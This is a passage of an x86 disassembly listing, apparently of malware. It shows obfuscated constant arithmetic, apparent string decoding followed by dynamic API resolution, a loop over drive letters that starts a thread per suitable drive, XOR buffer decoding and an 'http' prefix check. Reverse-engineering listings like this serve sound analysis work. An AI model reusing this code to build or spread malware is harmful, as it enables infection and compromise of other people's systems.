		mov	edx, ds:1000C060h[edi*4]
		cmp	ds:1000C060h[ebx], edx
		jnz	short loc_41E995
		mov	bl, ds:1000E200h[esi]
		cmp	bl, ds:1000E200h[edi]
		jnz	short loc_41E995
		movzx	esi, word ptr ds:1000EA50h[esi*2]
		mov	ebx, ds:10012118h
		add	ebx, ds:10012184h
		sub	ebx, 6
		cmp	esi, ebx
		jnz	short loc_41E986
		mov	esi, [ebp-4]
		movzx	ebx, byte ptr ds:1000E200h[esi]
		push	ebx
		push	dword ptr ds:1000C060h[esi*4]
		call	sub_41B66D
		add	esp, 8
		and	dword ptr ds:1000D130h[edi*4], 0
		jmp	short loc_41E9B1
; ---------------------------------------------------------------------------


loc_41E986:				; CODE XREF: .data:0041E95Fj
		mov	esi, [ebp-4]
		lea	esi, ds:1000EA50h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_41E9B1
; ---------------------------------------------------------------------------


loc_41E995:				; CODE XREF: .data:0041E901j
					; .data:0041E924j ...
		inc	dword ptr [ebp-4]


loc_41E998:				; CODE XREF: .data:0041E8ECj
		mov	eax, ds:10012178h
		add	eax, 3E0h
		add	eax, ds:1001212Ch
		cmp	[ebp-4], eax
		jb	loc_41E8F1


loc_41E9B1:				; CODE XREF: .data:0041E984j
					; .data:0041E993j
		xor	eax, eax
		jmp	short loc_41E9DB
; ---------------------------------------------------------------------------


loc_41E9B5:				; CODE XREF: .data:0041E8DBj
		movzx	esi, word ptr ds:1000EA50h[edi*2]
		movsx	ebx, word ptr ds:10012150h
		add	ebx, ds:100121CCh
		sub	ebx, 8
		cmp	esi, ebx
		jle	short loc_41E9D9
		dec	word ptr ds:1000EA50h[edi*2]


loc_41E9D9:				; CODE XREF: .data:0041E9CFj
		xor	eax, eax


loc_41E9DB:				; CODE XREF: .data:0041E87Cj
					; .data:0041E8B7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9E2	proc near		; CODE XREF: sub_423996+19Bp
					; sub_423996+1BCp

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	dword ptr ds:10011770h
		mov	[ebp+var_8], eax
		mov	esi, ds:10012124h
		dec	esi
		jmp	short loc_41EA3F
; ---------------------------------------------------------------------------


loc_41EA00:				; CODE XREF: sub_41E9E2+6Fj
		cmp	dword ptr ds:1000D130h[esi*4], 0
		jz	short loc_41EA3E
		mov	edx, ds:10010660h[esi*4]
		movsx	ecx, word ptr ds:10012180h
		add	ecx, 0EA5Ah
		mov	eax, ds:10012138h
		add	eax, ds:100120ECh
		sub	eax, 8
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_41EA3E
		and	dword ptr ds:1000D130h[esi*4], 0


loc_41EA3E:				; CODE XREF: sub_41E9E2+26j
					; sub_41E9E2+52j
		inc	esi


loc_41EA3F:				; CODE XREF: sub_41E9E2+1Cj
		mov	eax, ds:100120A8h
		add	eax, 3E4h
		add	eax, ds:100120D4h
		cmp	esi, eax
		jb	short loc_41EA00


loc_41EA53:				; CODE XREF: sub_41E9E2+94j
					; sub_41E9E2+266j
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_41EC4E
		movsx	eax, word ptr ds:100120E0h
		add	eax, 4
		cmp	[ebp+var_14], eax
		ja	short loc_41EA53
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_41EA7D:				; CODE XREF: sub_41E9E2+A0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41EA7D
		mov	[ebp+var_10], eax
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	edx, ds:1001210Ch
		sub	edx, 3
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 44h
		movsx	eax, word ptr ds:100120E0h
		movsx	edx, word ptr ds:1001219Ch
		add	eax, edx
		sub	eax, 6
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_41EABB
		mov	[ebp+var_1], 43h


loc_41EABB:				; CODE XREF: sub_41E9E2+D3j
		mov	edi, ds:10012138h
		sub	edi, 8
		jmp	short loc_41EAED
; ---------------------------------------------------------------------------


loc_41EAC6:				; CODE XREF: sub_41E9E2+120j
		cmp	dword ptr ds:1000D130h[edi*4], 0
		jz	short loc_41EAEC
		mov	edx, [ebp+var_C]
		cmp	ds:1000C060h[edi*4], edx
		jnz	short loc_41EAEC
		mov	dl, ds:1000E200h[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_41EC32


loc_41EAEC:				; CODE XREF: sub_41E9E2+ECj
					; sub_41E9E2+F8j
		inc	edi


loc_41EAED:				; CODE XREF: sub_41E9E2+E2j
		mov	eax, ds:10012130h
		add	eax, 3E4h
		movsx	edx, word ptr ds:10012110h
		add	eax, edx
		cmp	edi, eax
		jb	short loc_41EAC6
		mov	eax, ds:1001213Ch
		add	eax, 3BEh
		cmp	[ebp+var_10], eax
		jbe	loc_41EBE4
		mov	eax, ds:100121B0h
		add	eax, 9
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_422857
		add	esp, 8
		mov	eax, ds:100120F8h
		add	eax, 3B5h
		movsx	edx, word ptr ds:10012100h
		add	eax, edx
		mov	[ebp+var_18], eax
		movsx	eax, word ptr ds:100120BCh
		sub	eax, 9
		mov	[ebp+var_1C], eax


loc_41EB58:				; CODE XREF: sub_41E9E2+1FDj
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, ds:1001213Ch
		add	edx, ds:1001212Ch
		sub	edx, 7
		mov	[ebx+eax], dl
		push	1000D020h
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, ds:10012178h
		add	eax, ds:10012198h
		sub	eax, 0Bh
		and	eax, 0FFh
		push	eax
		call	sub_41DCB0
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		mov	eax, ds:10012094h
		add	eax, 3B7h
		add	eax, ds:100121C0h
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_41EBD7
		mov	[ebp+var_18], eax


loc_41EBD7:				; CODE XREF: sub_41E9E2+1F0j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_41EC2D
		jmp	loc_41EB58
; ---------------------------------------------------------------------------


loc_41EBE4:				; CODE XREF: sub_41E9E2+12Fj
		push	100134BFh
		call	sub_4228CE
		push	1000D020h
		push	[ebp+var_10]
		movsx	edx, word ptr ds:10012110h
		add	edx, ds:10012184h
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	edx, word ptr ds:100120C8h
		sub	edx, 7
		and	edx, 0FFh
		push	edx
		call	sub_41DCB0
		add	esp, 28h


loc_41EC2D:				; CODE XREF: sub_41E9E2+1FBj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_41EC32:				; CODE XREF: sub_41E9E2+104j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		movsx	edx, word ptr ds:10012180h
		add	edx, 0Eh
		cmp	[eax], edx
		jbe	loc_41EA53


loc_41EC4E:				; CODE XREF: sub_41E9E2+81j
		push	100134BBh
		call	sub_4228CE
		push	1000D020h
		mov	edx, ds:100120ECh
		sub	edx, 5
		push	edx
		mov	edx, ds:100120F0h
		add	edx, ds:1001214Ch
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, ds:100120B4h
		sub	edx, 8
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, ds:10012164h
		movsx	ecx, word ptr ds:100120D8h
		add	edx, ecx
		sub	edx, 4
		and	edx, 0FFh
		push	edx
		call	sub_41DCB0
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E9E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_41ECC8
; ---------------------------------------------------------------------------


loc_41ECBF:				; CODE XREF: .data:0041ECCBj
		and	dword ptr ds:10011790h[esi*4], 0
		inc	esi


loc_41ECC8:				; CODE XREF: .data:0041ECBDj
		cmp	esi, 5Ah
		jbe	short loc_41ECBF


loc_41ECCD:				; CODE XREF: .data:0041EE4Aj
		mov	edi, 43h
		jmp	loc_41EE2F
; ---------------------------------------------------------------------------


loc_41ECD7:				; CODE XREF: .data:0041EE32j
		movsx	eax, word ptr ds:10012128h
		add	eax, ds:100121C0h
		sub	eax, 3
		push	eax
		call	dword ptr ds:10011630h
		push	100134B3h
		call	sub_4228CE
		push	edi
		push	eax
		lea	ebx, [ebp-0Eh]
		push	ebx
		call	dword ptr ds:10011634h
		add	esp, 14h
		cmp	dword ptr ds:10011790h[edi*4], 0
		jz	short loc_41ED51
		mov	eax, ds:10012140h
		add	eax, ds:10012184h
		sub	eax, 0Eh
		mov	[ebp-14h], eax
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr ds:10011790h[edi*4]
		call	dword ptr ds:1001164Ch
		cmp	dword ptr [ebp-14h], 103h
		jz	short loc_41ED51
		push	dword ptr ds:10011790h[edi*4]
		call	dword ptr ds:10010650h
		and	dword ptr ds:10011790h[edi*4], 0


loc_41ED51:				; CODE XREF: .data:0041ED0Fj
					; .data:0041ED3Aj
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:10011664h
		mov	[ebp-4], eax
		cmp	eax, 3
		jz	short loc_41ED9A
		cmp	eax, 4
		jz	short loc_41ED9A
		cmp	eax, 2
		jz	short loc_41ED9A
		cmp	dword ptr ds:10011790h[edi*4], 0
		jz	loc_41EE2E
		movsx	ebx, word ptr ds:100121BCh
		movsx	edx, word ptr ds:1001219Ch
		add	ebx, edx
		sub	ebx, 0Ch
		mov	ds:1000E630h[edi*4], ebx
		jmp	loc_41EE2E
; ---------------------------------------------------------------------------


loc_41ED9A:				; CODE XREF: .data:0041ED61j
					; .data:0041ED66j ...
		push	1
		call	dword ptr ds:1000D000h
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:1000E0D4h
		mov	ebx, ds:10012190h
		sub	ebx, 3
		cmp	eax, ebx
		jnz	short loc_41EDE5
		cmp	dword ptr ds:10011790h[edi*4], 0
		jz	short loc_41EE2E
		mov	ebx, ds:100121C0h
		sub	ebx, 3
		mov	ds:1000E630h[edi*4], ebx
		jmp	short loc_41EE2E
; ---------------------------------------------------------------------------


loc_41EDE5:				; CODE XREF: .data:0041EDC7j
		cmp	dword ptr ds:10011790h[edi*4], 0
		jnz	short loc_41EE2E
		mov	ds:1000E630h[edi*4], edi
		lea	eax, [ebp-28h]
		push	eax
		movsx	eax, word ptr ds:10012194h
		push	eax
		lea	ebx, ds:1000E630h[edi*4]
		push	ebx
		push	100024C6h
		mov	ebx, ds:10012134h
		add	ebx, ds:10012178h
		sub	ebx, 6
		push	ebx
		push	0
		call	dword ptr ds:10011B90h
		mov	ds:10011790h[edi*4], eax


loc_41EE2E:				; CODE XREF: .data:0041ED75j
					; .data:0041ED95j ...
		inc	edi


loc_41EE2F:				; CODE XREF: .data:0041ECD2j
		cmp	edi, 5Ah
		jbe	loc_41ECD7
		movsx	eax, word ptr ds:100120B0h
		sub	eax, 8
		push	eax
		call	dword ptr ds:10011630h
		pop	ecx
		jmp	loc_41ECCD
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C2C95B5Eh, 1B80004h, 0C2800040h
		db 18h,	0

; =============== S U B	R O U T	I N E =======================================



sub_41EE5E	proc near		; CODE XREF: .data:00423023p
		push	edi
		push	100134A5h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121DCh, eax
		test	eax, eax
		jnz	short loc_41EE91
		push	10013497h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121DCh, eax


loc_41EE91:				; CODE XREF: sub_41EE5E+1Aj
		push	10013484h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1001160Ch, eax
		push	10013471h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10010648h, eax
		push	1001345Fh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E614h, eax
		push	1001344Eh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F224h, eax
		push	1001343Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C050h, eax
		push	10013429h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D010h, eax
		push	10013412h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5F0h, eax
		push	10013403h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F368h, eax
		push	100133F6h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C004h, eax
		push	100133E4h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011628h, eax
		push	100133D3h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011650h, eax
		push	100133C1h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011BA4h, eax
		push	100133B2h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F220h, eax
		push	100133A5h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011620h, eax
		push	10013396h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011640h, eax
		push	10013388h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C040h, eax
		push	10013376h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E0DCh, eax
		push	10013366h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C014h, eax
		push	1001335Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA40h, eax
		push	1001334Eh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011604h, eax
		push	1001333Ch
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5F8h, eax
		push	1001332Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011654h, eax
		push	1001331Ch
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011658h, eax
		push	10013308h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1001177Ch, eax
		push	100132F7h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:10011638h, eax
		push	100132E1h
		call	sub_4228CE
		add	esp, 68h
		push	eax
		push	dword ptr ds:100121DCh
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C048h, eax
		pop	edi
		retn
sub_41EE5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F16E	proc near		; CODE XREF: .data:loc_41C666p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, ds:10012190h
		add	eax, ds:100120F8h
		sub	eax, 5
		push	eax
		push	0
		push	20h
		push	0
		call	dword ptr ds:1000EA44h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword ptr ds:1000F25Ch
		mov	eax, ds:100120A0h
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, ds:1001209Ch
		add	ebx, 34h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		mov	ebx, ds:10012158h
		add	ebx, 18h
		add	ebx, ds:10012188h
		imul	ecx, ebx
		mov	ebx, ds:10012134h
		add	ebx, 39h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, ds:100120A0h
		add	ebx, 1Ah
		imul	ecx, ebx
		mov	ebx, ds:100120D4h
		add	ebx, 16h
		add	ebx, ds:100120C0h
		imul	ecx, ebx
		movsx	ebx, word ptr ds:10012100h
		movsx	esi, word ptr ds:10012194h
		lea	ebx, [ebx+esi+33h]
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		movsx	ebx, word ptr ds:10012154h
		add	ebx, 4
		imul	ecx, ebx
		mov	ebx, ds:10012094h
		add	ebx, 16h
		add	ebx, ds:100120A4h
		imul	ecx, ebx
		movsx	ebx, word ptr ds:1001219Ch
		lea	eax, [ebx+eax+0Eh]
		imul	ecx, eax
		mov	eax, ds:100120CCh
		add	eax, 36h
		movsx	ebx, word ptr ds:10012150h
		add	eax, ebx
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:1000C024h, eax
		mov	eax, ds:10012108h
		inc	eax
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_41DEB9
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F16E	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 18C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2AD	proc near		; CODE XREF: .data:00422784p

var_100B	= byte ptr -100Bh
var_1005	= byte ptr -1005h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		push	100132CFh
		call	sub_4228CE
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	dword ptr ds:10011638h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41F2DF
		mov	edi, [ebp+arg_0]


loc_41F2DF:				; CODE XREF: sub_41F2AD+2Dj
		push	100132B9h
		call	sub_4228CE
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	dword ptr ds:10011638h
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	dword ptr ds:1000C014h
		movsx	eax, word ptr ds:100120D0h
		cmp	[ebp+eax+var_FFF], 20h
		jnz	short loc_41F33A
		mov	eax, ds:100121ACh
		movsx	edx, word ptr ds:100120BCh
		add	eax, edx
		cmp	[ebp+eax+var_100B], 20h
		jz	loc_41F3DF


loc_41F33A:				; CODE XREF: sub_41F2AD+6Fj
		mov	eax, ds:1001217Ch
		cmp	[ebp+eax+var_1005], 68h
		jnz	short loc_41F364
		movsx	eax, word ptr ds:10012128h
		mov	edx, ds:10012158h
		lea	eax, [eax+edx+1]
		cmp	[ebp+eax+var_FFF], 74h
		jz	short loc_41F3DF


loc_41F364:				; CODE XREF: sub_41F2AD+9Aj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_41F36D:				; CODE XREF: sub_41F2AD+C5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41F36D
		mov	ebx, ds:1001212Ch
		add	ebx, 8
		movsx	edx, word ptr ds:10012128h
		add	ebx, edx
		cmp	eax, ebx
		jb	short loc_41F3DF
		push	100132B4h
		call	sub_4228CE
		movsx	esi, word ptr ds:10012114h
		add	esi, 2
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_41DB51
		add	esp, 10h
		movsx	ebx, word ptr ds:10012150h
		add	ebx, 0FFFAh
		cmp	eax, ebx
		jnz	short loc_41F3DF
		push	100132AEh
		call	sub_4228CE
		pop	ecx
		push	eax
		mov	esi, ds:100120C4h
		sub	esi, 4
		push	esi
		push	0Ch
		push	edi
		call	dword ptr ds:1000C014h


loc_41F3DF:				; CODE XREF: sub_41F2AD+87j
					; sub_41F2AD+B5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F2AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3E4	proc near		; CODE XREF: sub_41BB8D+1Bp
					; sub_41DCB0+1A4p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:100121D0h,	0
		jnz	short loc_41F40C
		push	10011BC0h
		call	dword ptr ds:1000D008h
		mov	dword ptr ds:100121D0h,	1


loc_41F40C:				; CODE XREF: sub_41F3E4+11j
		mov	esi, ds:10012134h
		add	esi, 3
		movsx	ebx, word ptr ds:100121A8h
		add	esi, ebx
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, ds:10012158h
		add	edx, 2
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, ds:100120A4h
		add	edx, 4
		cmp	eax, edx
		jz	loc_41F4EF
		push	10011BC0h
		call	dword ptr ds:1001165Ch
		movsx	eax, word ptr ds:10012154h
		sub	eax, 2
		mov	[ebp+var_2], ax
		jmp	short loc_41F49C
; ---------------------------------------------------------------------------


loc_41F472:				; CODE XREF: sub_41F3E4+C2j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, ds:100120ECh
		add	edx, ds:100121B0h
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_2], ax


loc_41F49C:				; CODE XREF: sub_41F3E4+8Cj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_41F472
		movsx	eax, word ptr ds:100120D8h
		movsx	edx, word ptr ds:1001216Ch
		add	eax, edx
		sub	eax, 9
		movsx	edx, word ptr ds:10012148h
		sub	edx, 3
		mov	[edi+eax], dl
		movsx	eax, word ptr ds:10012150h
		add	eax, ds:100120FCh
		sub	eax, 0Ah
		mov	edx, ds:100121B8h
		sub	edx, 3
		mov	[edi+eax], dl
		push	10011BC0h
		call	dword ptr ds:1001064Ch


loc_41F4EF:				; CODE XREF: sub_41F3E4+6Dj
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4F7	proc near		; CODE XREF: .data:004229D5p

var_71F0E	= byte ptr -71F0Eh
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EA3	= byte ptr -50EA3h
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	dword ptr ds:1000C038h
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, ds:1001215Ch
		movsx	edx, word ptr ds:1001216Ch
		add	eax, edx
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000F254h
		mov	ebx, eax
		movsx	eax, word ptr ds:100120E0h
		cmp	ebx, eax
		jnz	loc_4202B9
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	1001397Ch
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012150h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_4202B9
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, ds:10012124h
		dec	eax
		cmp	ebx, eax
		jnz	loc_4202AD
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_41ADCD
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	dword ptr ds:10011BA0h
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_41F604
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_41F604
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_41F604
		cmp	[ebp+var_40E54], 70h
		jz	short loc_41F609


loc_41F604:				; CODE XREF: sub_41F4F7+F0j
					; sub_41F4F7+F9j ...
		jmp	loc_4202AD
; ---------------------------------------------------------------------------


